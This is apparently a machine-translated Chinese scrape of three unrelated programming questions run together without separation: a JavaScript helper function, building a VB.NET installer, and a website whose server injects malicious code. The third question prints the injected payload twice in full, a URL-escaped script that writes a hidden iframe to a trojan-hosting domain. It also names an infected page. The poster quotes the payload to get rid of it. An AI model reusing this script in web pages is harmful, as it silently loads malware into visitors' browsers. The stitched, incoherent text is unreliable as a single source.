有人可以向我解释为什么我不能在函数内部使用document.getElementById('id').value?
我试图制作一个简单的乘法脚本(我正在学习JS,它实际上有点好玩)并且很快就意识到输入整行代码只是为了返回一个值是多么烦人,所以我写了一个小函数:
<script type="text/javascript">
function value(elementid){
return document.getElementById(elementid).value
}
</script>
Run Code Online (Sandbox Code Playgroud)
但是,这不起作用,只会破坏我的整个脚本的功能.我想简单地键入value('id')来返回元素的值.
为了解决这个问题,一位朋友建议我取出函数中的.value并将其添加到我调用函数的每一行的末尾,比如value('id').value.
为什么我的第一种方式不起作用?
谢谢您的帮助!
我想使用 Visual Studio 创建 Windows 安装程序包。据我了解,在 vb6 中有一种简单的方法可以做到这一点,您可以添加一个安装程序,就像添加一个新表单一样。
我怎样才能在vb.net中做到这一点?我从http://www.microsoft.com/downloads/details.aspx?FamilyID=c17ba869-9671-4330-a63e-1fd44e0e2505&displaylang=en下载并安装了Windows SDK,因为它在某处说它可以创建安装程序包并有工具为 .net 这样做,但没有这样的运气。
我不想为此使用 NSIS 或 Inno Setup。
有什么方法可以通过安装程序包获得与 vb6 相同的功能吗?
谢谢,我觉得我在这里错过了重要的一步......
编辑:我使用的是 Visual Basic 2008 Express,不是专业的。我的模板选项下没有“设置和部署”或类似的内容。
我网站上的服务器上也有病毒.
病毒会注入恶意代码
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
Run Code Online (Sandbox Code Playgroud)
在每个服务的单个页面上,它正在由Apache或类似的东西进行预处理,以将其添加到文件的末尾.
我创建了一个测试文件,其代码如下:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
它并不漂亮,但却达到了它的目的.
在浏览器中查看页面时,我明白了
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
可以从www.sagamountain.com/testfile.html查看(警告,此页面已被感染)
我需要以编程方式停止该div和该脚本的执行,因为它是一个iframe到其上有木马的网站.HTML,CSS或JS,我只需要一些方法来阻止JS执行.
它已经显示:无,所以你看不到它,但是如何防止iframe一直加载呢?
谢谢您的帮助!unescape的事情解决了http://ncccnnnc.cn/img/index.php的iframe,这显然是我烦恼的根源.不要去那个网站!
编辑:这是对https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459的跟进#78459